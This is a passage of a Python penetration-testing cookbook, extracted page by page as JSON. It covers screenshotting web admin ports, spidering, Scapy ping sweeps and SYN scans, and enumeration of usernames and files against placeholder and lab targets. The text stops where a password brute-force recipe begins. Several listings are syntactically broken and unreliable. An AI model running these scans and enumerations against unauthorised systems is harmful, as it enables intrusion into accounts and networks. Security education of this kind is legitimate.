            "text": "Gathering Open Source Intelligence\n12\nThe next part reads the same as before in the JSON response, but this time it also extracts \nthe nextPageToken value:\n  json_response = json.loads(api_response)\n  token = json_response['nextPageToken']\nThe main while loop can stop if the loops variable increases up to 10, but sometimes you \nmay only get one page of results. The next part in the code checks to see how many results \nwere returned; if there were none, it exits the loop prematurely:\n  if len(json_response['items']) == 0:\n    break\nFinally, we ensure that we increase the value of the loops integer each time. A common \ncoding mistake is to leave this out, meaning the loop will continue forever:\n  loops+=1\nGetting screenshots of websites with \nQtWebKit\nThey say a picture is worth a thousand words. Sometimes, it's good to get screenshots of \nwebsites during the intelligence gathering phase. We may want to scan an IP range and get \nan idea of which IPs are serving up web pages, and more importantly what they look like. This \ncould assist us in picking out interesting sites to focus on and we also might want to quickly \nscan ports on a particular IP address for the same reason. We will take a look at how we can \naccomplish this using the QtWebKit Python library.\nGetting ready\nThe QtWebKit is a bit of a pain to install. The easiest way is to get the binaries from  \nhttp://www.riverbankcomputing.com/software/pyqt/download. For Windows \nusers, make sure you pick the binaries that fit your python/arch path. For example, I will \nuse the PyQt4-4.11.3-gpl-Py2.7-Qt4.8.6-x32.exe binary to install Qt4 on my \nWindows 32bit Virtual Machine that has Python version 2.7 installed. If you are planning on \ncompiling Qt4 from the source files, make sure you have already installed SIP.\nHow to do it…\nOnce you've got PyQt4 installed, you're pretty much ready to go. The following script is what we \nwill use as the base for our screenshot class:\nimport sys\nimport time\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 36,
            "text": "Chapter 1\n13\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtWebKit import *\nclass Screenshot(QWebView):\n    def __init__(self):\n        self.app = QApplication(sys.argv)\n        QWebView.__init__(self)\n        self._loaded = False\n        self.loadFinished.connect(self._loadFinished)\n    def wait_load(self, delay=0):\n        while not self._loaded:\n            self.app.processEvents()\n            time.sleep(delay)\n        self._loaded = False\n    def _loadFinished(self, result):\n        self._loaded = True\n    def get_image(self, url):\n        self.load(QUrl(url))\n        self.wait_load()\n        frame = self.page().mainFrame()\n        self.page().setViewportSize(frame.contentsSize())\n        image = QImage(self.page().viewportSize(),  \n        QImage.Format_ARGB32)\n        painter = QPainter(image)\n        frame.render(painter)\n        painter.end()\n        return image\nCreate the preceding script and save it in the Python Lib folder. We can then reference it as \nan import in our scripts.\n How it works…\nThe script makes use of QWebView to load the URL and then creates an image using \nQPainter. The get_image function takes a single parameter: our target. Knowing this,  \nwe can simply import it into another script and expand the functionality.\nLet's break down the script and see how it works.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 37,
            "text": "Gathering Open Source Intelligence\n14\nFirstly, we set up our imports:\nimport sys\nimport time\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtWebKit import *\nThen, we create our class definition; the class we are creating extends from QWebView  \nby inheritance:\nclass Screenshot(QWebView):\nNext, we create our initialization method:\ndef __init__(self):\n        self.app = QApplication(sys.argv)\n        QWebView.__init__(self)\n        self._loaded = False\n        self.loadFinished.connect(self._loadFinished)\ndef wait_load(self, delay=0):\n        while not self._loaded:\n            self.app.processEvents()\n            time.sleep(delay)\n        self._loaded = False\ndef _loadFinished(self, result):\n        self._loaded = True\nThe initialization method sets the self.__loaded property. This is used along with the  \n__loadFinished and wait_load functions to check the state of the application as it  \nruns. It waits until the site has loaded before taking a screenshot. The actual screenshot  \ncode is contained in the get_image function:\ndef get_image(self, url):\n        self.load(QUrl(url))\n        self.wait_load()\n        frame = self.page().mainFrame()\n        self.page().setViewportSize(frame.contentsSize())\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 38,
            "text": "Chapter 1\n15\n        image = QImage(self.page().viewportSize(),  \n        QImage.Format_ARGB32)\n        painter = QPainter(image)\n        frame.render(painter)\n        painter.end()\n        return image\nWithin this get_image function, we set the size of the viewport to the size of the contents \nwithin the main frame. We then set the image format, assign the image to a painter object, \nand then render the frame using the painter. Finally, we return the processed image.\nThere's more…\nTo use the class we've just made, we just import it into another script. For example, if we \nwanted to just save the image we get back, we could do something like the following:\nimport screenshot\ns = screenshot.Screenshot()\nimage = s.get_image('http://www.packtpub.com')\nimage.save('website.png')\nThat's all there is to it. In the next script, we will create something a little more useful.\nScreenshots based on a port list\nIn the previous script, we created our base function to return an image for a URL. We will \nnow expand on that to loop over a list of ports that are commonly associated with web-based \nadministration portals. This will allow us to point the script at an IP and automatically run \nthrough the possible ports that could be associated with a web server. This is to be used in \ncases when we don't know which ports are open on a server, rather than when where we are \nspecifying the port and domain.\nGetting ready\nIn order for this script to work, we'll need to have the script created in the Getting screenshots of \na website with QtWeb Kit recipe. This should be saved in the Pythonxx/Lib folder and named \nsomething clear and memorable. Here, we've named that script screenshot.py. The naming \nof your script is particularly essential as we reference it with an important declaration.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 39,
            "text": "Gathering Open Source Intelligence\n16\nHow to do it…\nThis is the script that we will be using:\nimport screenshot\nimport requests\nportList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,\n4643,  \n  9001,4489]\nIP = '127.0.0.1'\nhttp = 'http://'\nhttps = 'https://'\ndef testAndSave(protocol, portNumber):\n    url = protocol + IP + ':' + str(portNumber)\n    try:\n        r = requests.get(url,timeout=1)\n        if r.status_code == 200:\n            print 'Found site on ' + url \n            s = screenshot.Screenshot()\n            image = s.get_image(url)\n            image.save(str(portNumber) + '.png')\n    except:\n        pass\nfor port in portList:\n    testAndSave(http, port)\n    testAndSave(https, port)\n How it works…\nWe first create our import declarations. In this script, we use the screenshot script we \ncreated before and also the requests library. The requests library is used so that we can \ncheck the status of a request before trying to convert it to an image. We don't want to waste \ntime trying to convert sites that don't exist.\nNext, we import our libraries:\nimport screenshot\nimport requests\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 40,
            "text": "Chapter 1\n17\nThe next step sets up the array of common port numbers that we will be iterating over.  \nWe also set up a string with the IP address we will be using:\nportList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,\n4643,  \n  9001,4489]\nIP = '127.0.0.1'\nNext, we create strings to hold the protocol part of the URL that we will be building later; this \njust makes the code later on a little bit neater:\nhttp = 'http://'\nhttps = 'https://'\nNext, we create our method, which will do the work of building the URL string. After we've \ncreated the URL, we check whether we get a 200 response code back for our get request. If \nthe request is successful, we convert the web page returned to an image and save it with the \nfilename being the successful port number. The code is wrapped in a try block because if \nthe site doesn't exist when we make the request, it will throw an error:\ndef testAndSave(protocol, portNumber):\n    url = protocol + IP + ':' + str(portNumber)\n    try:\n        r = requests.get(url,timeout=1)\n        if r.status_code == 200:\n            print 'Found site on ' + url \n            s = screenshot.Screenshot()\n            image = s.get_image(url)\n            image.save(str(portNumber) + '.png')\n    except:\n        pass\nNow that our method is ready, we simply iterate over each port in the port list and call our \nmethod. We do this once for the HTTP protocol and then with HTTPS:\nfor port in portList:\n    testAndSave(http, port)\n    testAndSave(https, port)\nAnd that's it. Simply run the script and it will save the images to the same location as  \nthe script.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 41,
            "text": "Gathering Open Source Intelligence\n18\nThere's more…\nYou might notice that the script takes a while to run. This is because it has to check each port \nin turn. In practice, you would probably want to make this a multithreaded script so that it can \ncheck multiple URLs at the same time. Let's take a quick look at how we can modify the code \nto achieve this.\nFirst, we'll need a couple more import declarations:\nimport Queue\nimport threading\nNext, we need to create a new function that we will call threader. This new function will \nhandle putting our testAndSave functions into the queue:\ndef threader(q, port):\n    q.put(testAndSave(http, port))\n    q.put(testAndSave(https, port))\nNow that we have our new function, we just need to set up a new Queue object and make \na few threading calls. We will take out the testAndSave calls from our FOR loop over the \nportList variable and replace it with this code:\nq = Queue.Queue()\nfor port in portList:\n    t = threading.Thread(target=threader, args=(q, port))\n    t.deamon = True\n    t.start()\ns = q.get()\nSo, our new script in total now looks like this:\nimport Queue\nimport threading\nimport screenshot\nimport requests\nportList =  \n  [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,  \n  9001,4489]\nIP = '127.0.0.1'\nhttp = 'http://'\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 42,
            "text": "Chapter 1\n19\nhttps = 'https://'\ndef testAndSave(protocol, portNumber):\n    url = protocol + IP + ':' + str(portNumber)\n    try:\n        r = requests.get(url,timeout=1)\n        if r.status_code == 200:\n            print 'Found site on ' + url \n            s = screenshot.Screenshot()\n            image = s.get_image(url)\n            image.save(str(portNumber) + '.png')\n    except:\n        pass\ndef threader(q, port):\n    q.put(testAndSave(http, port))\n    q.put(testAndSave(https, port))\nq = Queue.Queue()\nfor port in portList:\n    t = threading.Thread(target=threader, args=(q, port))\n    t.deamon = True\n    t.start()\ns = q.get()\nIf we run this now, we will get a much quicker execution of our code as the web requests are \nnow being executed in parallel with each other.\nYou could try to further expand the script to work on a range of IP addresses too; this can be \nhandy when you're testing an internal network range.\nSpidering websites\nMany tools provide the ability to map out websites, but often you are limited to style of output \nor the location in which the results are provided. This base plate for a spidering script allows \nyou to map out websites in short order with the ability to alter them as you please.\nGetting ready\nIn order for this script to work, you'll need the BeautifulSoup library, which is installable \nfrom the apt command with apt-get install python-bs4 or alternatively pip \ninstall beautifulsoup4. It's as easy as that.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 43,
            "text": "Gathering Open Source Intelligence\n20\nHow to do it…\nThis is the script that we will be using:\nimport urllib2 \nfrom bs4 import BeautifulSoup\nimport sys\nurls = []\nurls2 = []\ntarurl = sys.argv[1] \nurl = urllib2.urlopen(tarurl).read()\nsoup = BeautifulSoup(url)\nfor line in soup.find_all('a'):\n    newline = line.get('href')\n    try: \n        if newline[:4] == \"http\": \n            if tarurl in newline: \n            urls.append(str(newline)) \n        elif newline[:1] == \"/\": \n            combline = tarurl+newline urls.append(str(combline))  \n            except: \n               pass\n    for uurl in urls: \n        url = urllib2.urlopen(uurl).read() \n        soup = BeautifulSoup(url) \n        for line in soup.find_all('a'): \n            newline = line.get('href') \n            try: \n                if newline[:4] == \"http\": \n                    if tarurl in newline:\n                        urls2.append(str(newline)) \n                elif newline[:1] == \"/\": \n                    combline = tarurl+newline \n                    urls2.append(str(combline)) \n                    except: \n                pass \n            urls3 = set(urls2) \n    for value in urls3: \n    print value\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 44,
            "text": "Chapter 1\n21\n How it works…\nWe first import the necessary libraries and create two empty lists called urls and urls2. \nThese will allow us to run through the spidering process twice. Next, we set up input to be \nadded as an addendum to the script to be run from the command line. It will be run like:\n$ python spider.py http://www.packtpub.com\nWe then open the provided url variable and pass it to the beautifulsoup tool:\nurl = urllib2.urlopen(tarurl).read() \nsoup = BeautifulSoup(url) \nThe beautifulsoup tool splits the content into parts and allows us to only pull the parts \nthat we want to:\nfor line in soup.find_all('a'): \nnewline = line.get('href') \nWe then pull all of the content that is marked as a tag in HTML and grab the element within \nthe tag specified as href. This allows us to grab all the URLs listed in the page.\nThe next section handles relative and absolute links. If a link is relative, it starts with a slash \nto indicate that it is a page hosted locally to the web server. If a link is absolute, it contains the \nfull address including the domain. What we do with the following code is ensure that we can, \nas external users, open all the links we find and list them as absolute links:\nif newline[:4] == \"http\": \nif tarurl in newline: \nurls.append(str(newline)) \n  elif newline[:1] == \"/\": \ncombline = tarurl+newline urls.append(str(combline))\nWe then repeat the process once more with the urls list that we identified from that page by \niterating through each element in the original url list:\nfor uurl in urls:\nOther than a change in the referenced lists and variables, the code remains the same.\nWe combine the two lists and finally, for ease of output, we take the full list of the urls list \nand turn it into a set. This removes duplicates from the list and allows us to output it neatly. \nWe iterate through the values in the set and output them one by one.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 45,
            "text": "Gathering Open Source Intelligence\n22\nThere's more…\nThis tool can be tied in with any of the functionality shown earlier and later in this book. It can \nbe tied to Getting Screenshots of a website with QtWeb Kit to allow you to take screenshots of \nevery page. You can tie it to the email address finder in the Chapter 2, Enumeration, to gain \nemail addresses from every page, or you can find another use for this simple technique to \nmap web pages.\nThe script can be easily changed to add in levels of depth to go from the current level of 2 \nlinks deep to any value set by system argument. The output can be changed to add in URLs \npresent on each page, or to turn it into a CSV to allow you to map vulnerabilities to pages  \nfor easy notation.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 46,
            "text": "23\n2\nEnumeration\nIn this chapter, we will cover the following topics:\nf\nf\nPerforming a ping sweep with Scapy\nf\nf\nScanning with Scapy\nf\nf\nChecking username validity\nf\nf\nBrute forcing usernames\nf\nf\nEnumerating files\nf\nf\nBrute forcing passwords\nf\nf\nGenerating e-mail addresses from names\nf\nf\nFinding e-mail addresses from web pages\nf\nf\nFinding comments in source code\nIntroduction\nWhen you have identified the targets for testing, you'll want to perform some enumeration. \nThis will help you to identify some potential paths for further reconnaissance or attacks. This \nis an important step. After all, if you were to try to steal something from a safe, you would first \ntake a look to determine whether or not you'd need a pin, key, or combination, rather than \nsimply attaching a stick of dynamite and potentially destroying the contents.\nIn this chapter, we will look at some ways that you can use Python to perform active \nenumeration.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 47,
            "text": "Enumeration\n24\nPerforming a ping sweep with Scapy\nOne of the first tasks to perform when you have identified a target network is to check which \nhosts are live. A simple way of achieving this is to ping an IP address and confirm whether or \nnot a reply is received. However, doing this for more than a few hosts can quickly become a \ndraining task. This recipe aims to show you how you can achieve this with Scapy.\nScapy is a powerful tool that can be used to manipulate network packets. While we will not be \ngoing into great depth of all that can be accomplished with Scapy, we will use it in this recipe \nto determine which hosts reply to an Internet Control Message Protocol (ICMP) packet. \nWhile you can probably create a simple bash script and tie it together with some grep filtering, \nthis recipe aims to show you techniques that will be useful for tasks involving iterating through \nIP ranges, as well as an example of basic Scapy usage.\nScapy can be installed on the majority of Linux systems with the following command:\n$ sudo apt-get install python-scapy\nHow to do it…\nThe following script shows how you can use Scapy to create an ICMP packet to send and \nprocess the response if it is received:\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nimport sys \nfrom scapy.all import *\nif len(sys.argv) !=3:\n    print \"usage: %s start_ip_addr end_ip_addr\" % (sys.argv[0])\n    sys.exit(0)\nlivehosts=[]\n#IP address validation\nipregex=re.compile(\"^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-  \n  9]|25[0-5])\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-  \n  5])\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.([0-  \n  9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$\")\nif (ipregex.match(sys.argv[1]) is None):\n  print \"Starting IP address is invalid\"\n  sys.exit(0)\nif (ipregex.match(sys.argv[1]) is None):\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 48,
            "text": "Chapter 2\n25\n  print \"End IP address is invalid\"\n  sys.exit(0)\niplist1 = sys.argv[1].split(\".\")\niplist2 = sys.argv[2].split(\".\")\nif not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and  \n  iplist1[2]==iplist2[2])\n  print \"IP addresses are not in the same class C subnet\"\n  sys.exit(0)\t\nif iplist1[3]>iplist2[3]:\n  print \"Starting IP address is greater than ending IP address\"\n  sys.exit(0)\nnetworkaddr = iplist1[0]+\".\"+iplist1[1]+\".\"+iplist[2]+\".\"\nstart_ip_last_octet = int(iplist1[3])\nend_ip_last_octet = int(iplist2[3])\nif iplist1[3]<iplist2[3]:\n  print \"Pinging range \"+networkaddr+str(start_ip_last_octet)+\"-  \n  \"+str(end_ip_last_octet)\nelse\n  print \"Pinging \"+networkaddr+str(startiplastoctect)+\"\\n\"\nfor x in range(start_ip_last_octet, end_ip_last_octet+1)\n  packet=IP(dst=networkaddr+str(x))/ICMP()\n  response = sr1(packet,timeout=2,verbose=0)\n  if not (response is None):\n    if  response[ICMP].type==0:\n      livehosts.append(networkaddr+str(x))\nprint \"Scan complete!\\n\"\nif len(livehosts)>0:\n  print \"Hosts found:\\n\"\n  for host in livehosts:\n    print host+\"\\n\"\nelse:\n  print \"No live hosts found\\n\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 49,
            "text": "Enumeration\n26\n How it works…\nThe first section of the script will set up suppression of warning messages from Scapy when \nit runs. A common occurrence when importing Scapy on machines that do not have IPv6 \nconfigured is a warning message about not being able to route through IPv6.\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nThe next section imports the necessary modules, validates the number of arguments \nreceived, and sets up a list for storing hosts found to be live:\nimport sys \nfrom scapy.all import *\nif len(sys.argv) !=3:\n    print \"usage: %s start_ip_addr end_ip_addr\" % (sys.argv[0])\n    sys.exit(0)\nlivehosts=[]\nWe then compile a regular expression that will check that the IP addresses are valid. This not \nonly checks the format of the string, but also that it exists within the IPv4 address space. This \ncompiled regular expression is then used to match against the supplied arguments:\n#IP address validation\nipregex=re.compile(\"^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-  \n  9]|25[0-5])\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-  \n  5])\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.([0-  \n  9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$\")\nif (ipregex.match(sys.argv[1]) is None):\n  print \"Starting IP address is invalid\"\n  sys.exit(0)\nif (ipregex.match(sys.argv[1]) is None):\n  print \"End IP address is invalid\"\n  sys.exit(0)\nOnce the IP addresses have been validated, then further checks are carried out to ensure \nthat the range supplied is a valid range and to assign the variables that will be used to set the \nparameters for the loop:\niplist1 = sys.argv[1].split(\".\")\niplist2 = sys.argv[2].split(\".\")\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 50,
            "text": "Chapter 2\n27\nif not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and \niplist1[2]==iplist2[2])\n  print \"IP addresses are not in the same class C subnet\"\n  sys.exit(0)\nif iplist1[3]>iplist2[3]:\n  print \"Starting IP address is greater than ending IP address\"\n  sys.exit(0)\nnetworkaddr = iplist1[0]+\".\"+iplist1[1]+\".\"+iplist[2]+\".\"\nstart_ip_last_octet = int(iplist1[3])\nend_ip_last_octet = int(iplist2[3])\nThe next part of the script is purely informational and can be omitted. It will print out the IP \naddress range to be pinged or, in the case of both arguments supplied being equal, the IP \naddress to be pinged:\nif iplist1[3]<iplist2[3]:\n  print \"Pinging range \"+networkaddr+str(start_ip_last_octet)+\"-  \n  \"+str(end_ip_last_octet)\nelse\n  print \"Pinging \"+networkaddr+str(startiplastoctect)+\"\\n\"\nWe then enter the loop and start by creating an ICMP packet:\nfor x in range(start_ip_last_octet, end_ip_last_octet+1)\n  packet=IP(dst=networkaddr+str(x))/ICMP()\nAfter that, we use the sr1 command to send the packet and receive one packet back:\nresponse = sr1(packet,timeout=2,verbose=0)\nFinally, we check that a response was received and that the response code was 0.  \nThe reason for this is because a response code of 0 represents an echo reply. Other codes \nmay be reporting an inability to reach the destination. If a response passes these checks, \nthen the IP address is appended to the livehosts list:\nif not (response is None):\n    if  response[ICMP].type==0:\n      livehosts.append(networkaddr+str(x))\nIf live hosts have been found, then the script will then print out the list.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 51,
            "text": "Enumeration\n28\nScanning with Scapy\nScapy is a powerful tool that can be used to manipulate network packets. While we will not be \ngoing into great depth of all that can be accomplished with Scapy, we will use it in this recipe \nto determine which TCP ports are open on a target. In identifying which ports are open on a \ntarget, you may be able to determine the types of services that are running and use these to \nthen further your testing.\nHow to do it…\nThis is the script that will perform a port scan on a specific target in a given port range.  \nIt takes arguments for the target, the start of the port range and the end of the port range:\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nimport sys \nfrom scapy.all import *\nif len(sys.argv) !=4:\n    print \"usage: %s target startport endport\" % (sys.argv[0])\n    sys.exit(0)\ntarget = str(sys.argv[1])\nstartport = int(sys.argv[2])\nendport = int(sys.argv[3])\nprint \"Scanning \"+target+\" for open TCP ports\\n\"\nif startport==endport:\n  endport+=1\nfor x in range(startport,endport):\n    packet = IP(dst=target)/TCP(dport=x,flags=\"S\")\n    response = sr1(packet,timeout=0.5,verbose=0)\n    if response.haslayer(TCP) and response.getlayer(TCP).flags ==  \n    0x12:\n    print \"Port \"+str(x)+\" is open!\"\n    sr(IP(dst=target)/TCP(dport=response.sport,flags=\"R\"),  \n    timeout=0.5, verbose=0)\nprint \"Scan complete!\\n\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 52,
            "text": "Chapter 2\n29\n How it works…\nThe first thing you notice about this recipe is the starting two lines of the script:\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nThese lines serve to suppress a warning created by Scapy when IPv6 routing isn't configured, \nwhich causes the following output:\nWARNING: No route found for IPv6 destination :: (no default route?)\nThis isn't essential for the functionality of the script, but it does make the output tidier when \nyou run it.\nThe next few lines will validate the number of arguments and assign the arguments to \nvariables for use in the script. The script also checks to see whether the start and end of the \nport range are the same and increments the end port in order for the loop to be able to work.\nAfter all of the setting up, we'll loop through the port range and the real meat of the script \ncomes along. First, we create a rudimentary TCP packet:\npacket = IP(dst=target)/TCP(dport=x,flags=\"S\")\nWe then use the sr1 command. This command is an abbreviation of send/receive1.  \nThis command will send the packet we have created and receive the first packet that is sent \nback. The additional parameters we have supplied include a timeout, so the script will not \nhang for closed or filtered ports, and the verbose parameter we have set will turn off the \noutput that Scapy normally creates when sending packets.\nThe script then checks whether there is a response that contains TCP data. If it does contain \nTCP data, then the script will check for the SYN and ACK flags. The presence of these flags \nwould indicate a SYN-ACK response, which is part of the TCP protocol handshake and shows \nthat the port is open.\nIf it is determined that a port is open, an output is printed to this effect and the next line of \ncode sends a reset:\nsr(IP(dst=target)/TCP(dport=response.sport,flags=\"R\"),timeout=0.5,  \n  verbose=0)\nThis line is necessary in order to close the connection and prevent a TCP SYN-flood attack \nfrom occurring if the port range and the number of open ports are large.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 53,
            "text": "Enumeration\n30\nThere's more…\nIn this recipe, we showed you how Scapy can be used to perform a TCP port scan.  \nThe techniques used in this recipe can be adapted to perform a UDP port scan on a  \nhost or a ping scan on a range of hosts.\nThis just touches the surface of what Scapy is capable of. For more information, a good place \nto start is on the official Scapy website at http://www.secdev.org/projects/scapy/.\nChecking username validity\nWhen performing your reconnaissance, you may come across parts of web applications that \nwill allow you to determine whether or not certain usernames are valid. A prime example of \nthis will be a page that allows you to request a password reset when you have forgotten your \npassword. For instance, if the page asks that you enter your username in order to have a \npassword reset, it may give different responses depending on whether or not a user with that \nusername exists. So, if a username doesn't exist, the page may respond with Username not \nfound, or something similar. However, if the username does exist, it may redirect you to the \nlogin page and inform you that Password reset instructions have been sent to \nyour registered email address.\nGetting ready\nEach web application may be different. So, before you go ahead and create your username \nchecking tool, you will want to perform a reconnaissance. Details you will need to find will \ninclude the page that is accessed to request a password reset, the parameters that you need \nto send to this page, and what happens in the event of a successful or failed outcome.\nHow to do it…\nOnce you have the details of how the password reset request works on the target, you can \nassemble your script. The following is an example of what your tool will look like:\n#basic username check\nimport sys\nimport urllib\nimport urllib2\nif len(sys.argv) !=2:\n    print \"usage: %s username\" % (sys.argv[0])\n    sys.exit(0)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 54,
            "text": "Chapter 2\n31\nurl = \"http://www.vulnerablesite.com/resetpassword.html\"\nusername = str(sys.argv[1])\ndata = urllib.urlencode({\"username\":username})\nresponse = urllib2.urlopen(url,data).read()\nUnknownStr=\"Username not found\"\nif(response.find(UnknownStr)<0):\n  print \"Username does not exist\\n\"\nelse\n  print \"Username exists!\"\nThe following shows an example of the output produced when using this script:\nuser@pc:~# python usernamecheck.py randomusername\nUsername does not exist\nuser@pc:~# python usernamecheck.py admin\nUsername exists!\nHow it works…\nAfter the number of arguments have been validated and the arguments have been assigned \nto variables, we use the urllib module in order to encode the data that we are submitting  \nto the page:\ndata = urllib.urlencode({\"username\":username})\nWe then look for the string that indicates that the request failed due to a username that does \nnot exist:\nUnknownStr=\"Username not found\"\nThe result of find (str) does not give a simple true or false. Instead, it will return the position \nin the string that the substring is found in. However, if it does not find the substring you are \nsearching for, it will return 1.\nThere's more…\nThis recipe can be adapted to other situations. Password resets may request e-mail addresses \ninstead of usernames. Or a successful response may reveal the e-mail address registered to \na user. The important thing is to look out for situations where a web application may reveal \nmore than it should.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 55,
            "text": "Enumeration\n32\nSee also\nFor bigger jobs, you will want to consider using the Brute forcing usernames recipe instead.\nBrute forcing usernames\nFor small but regular instances, a small tool that enables you to quickly check something \nwill suffice. What about those bigger jobs? Maybe you've got a big haul from open source \nintelligence gathering and you want to see which of those users use an application you are \ntargeting. This recipe will show you how to automate the process of checking for usernames \nthat you have stored in a file.\nGetting ready\nBefore you use this recipe, you will need to acquire a list of usernames to test. This can either \nbe something you have created yourself, or you can use a word list found within Kali. If you \nneed to create your own list, a good place to start would be to use common names that are \nlikely to be found in a web application. These could include usernames such as user, admin, \nadministrator, and so on.\nHow to do it…\nThis script will attempt to check usernames in a list provided to determine whether or not an \naccount exists within the application:\n#brute force username enumeration\nimport sys\nimport urllib\nimport urllib2\nif len(sys.argv) !=2:\n    print \"usage: %s filename\" % (sys.argv[0])\n    sys.exit(0)\nfilename=str(sys.argv[1])\nuserlist = open(filename,'r')\nurl = \"http://www.vulnerablesite.com/forgotpassword.html\"\nfoundusers = []\nUnknownStr=\"Username not found\"\nfor user in userlist:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 56,
            "text": "Chapter 2\n33\n  user=user.rstrip()\n  data = urllib.urlencode({\"username\":user})\n  request = urllib2.urlopen(url,data)\n  response = request.read()\n  if(response.find(UnknownStr)>=0):\n    foundusers.append(user)\n  request.close()\nuserlist.close()\nif len(foundusers)>0:\n  print \"Found Users:\\n\"\n  for name in foundusers:\n    print name+\"\\n\"\nelse:\n  print \"No users found\\n\"\nThe following is an example of the output of this script:\npython bruteusernames.py userlist.txt\nFound Users:\nadmin\nangela\nbob\njohn\n How it works…\nThis script introduces a couple more concepts than basic username checking. The first of \nthese is opening files in order to load our list:\nuserlist = open(filename,'r')\nThis opens the file containing our list of usernames and loads it into our userlist variable. \nWe then loop through the list of users in the list. In this recipe, we also make use of the \nfollowing line of code:\nuser=user.strip()\nThis command strips out whitespace, including newline characters, which can sometimes \nchange the result of the encoding before being submitted.\nIf a username exists, then it is appended to a list. When all usernames have been checked, \nthe contents of the list are output.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 57,
            "text": "Enumeration\n34\nSee also\nFor single usernames, you will want to make use of the Basic username check recipe.\nEnumerating files\nWhen enumerating a web application, you will want to determine what pages exist. A common \npractice that is normally used is called spidering. Spidering works by going to a website \nand then following every single link within that page and any subsequent pages within that \nwebsite. However, for certain sites, such as wikis, this method may result in the deletion of \ndata if a link performs an edit or delete function when accessed. This recipe will instead take \na list of commonly found filenames of web pages and check whether they exist.\nGetting ready\nFor this recipe, you will need to create a list of commonly found page names. Penetration \ntesting distributions, such as Kali Linux will come with word lists for various brute forcing  \ntools and these could be used instead of generating your own.\nHow to do it…\nThe following script will take a list of possible filenames and test to see whether the pages \nexist within a website:\n#bruteforce file names\nimport sys\nimport urllib2\nif len(sys.argv) !=4:\n    print \"usage: %s url wordlist fileextension\\n\" % (sys.argv[0])\n    sys.exit(0)\nbase_url = str(sys.argv[1])\nwordlist= str(sys.argv[2])\nextension=str(sys.argv[3])\nfilelist = open(wordlist,'r')\nfoundfiles = []\nfor file in filelist:\n  file=file.strip(\"\\n\")\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 58,
            "text": "Chapter 2\n35\n  extension=extension.rstrip()\n  url=base_url+file+\".\"+str(extension.strip(\".\"))\n  try:\n    request = urllib2.urlopen(url)\n    if(request.getcode()==200):\n      foundfiles.append(file+\".\"+extension.strip(\".\"))\n    request.close()\n  except urllib2.HTTPError, e:\n    pass\nif len(foundfiles)>0:\n  print \"The following files exist:\\n\"\n  for filename in foundfiles:\n    print filename+\"\\n\"\nelse:\n  print \"No files found\\n\"\nThe following output shows what could be returned when run against Damn Vulnerable Web \nApp (DVWA) using a list of commonly found web pages:\npython filebrute.py http://192.168.68.137/dvwa/ filelist.txt .php\nThe following files exist:\nindex.php\nabout.php\nlogin.php\nsecurity.php\nlogout.php\nsetup.php\ninstructions.php\nphpinfo.php\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 59,
            "text": "Enumeration\n36\n How it works…\nAfter importing the necessary modules and validating the number of arguments, the list of \nfilenames to check is opened in read-only mode, which is indicated by the r parameter in the \nfile's open operation:\nfilelist = open(wordlist,'r')\nWhen the script enters the loop for the list of filenames, any newline characters are stripped \nfrom the filename, as this will affect the creation of the URLs when checking for the existence \nof the filename. If a preceding . exists in the provided extension, then that also is stripped. \nThis allows for the use of an extension that does or doesn't have the preceding . included, for \nexample, .php or php:\n  file=file.strip(\"\\n\")\n  extension=extension.rstrip()\n  url=base_url+file+\".\"+str(extension.strip(\".\"))\nThe main action of the script then checks whether or not a web page with the given filename \nexists by checking for a HTTP 200 code and catches any errors given by a nonexistent page:\n  try:\n    request = urllib2.urlopen(url)\n    if(request.getcode()==200):\n      foundfiles.append(file+\".\"+extension.strip(\".\"))\n    request.close()\n  except urllib2.HTTPError, e:\n    pass\nBrute forcing passwords\nBrute forcing may not be the most elegant of solutions, but it will automate what could be a \npotentially mundane task. Through the use of automation, you can get tasks completed much \nmore quickly, or at least free yourself up to work on something else at the same time.\nGetting ready\nTo be able to use this 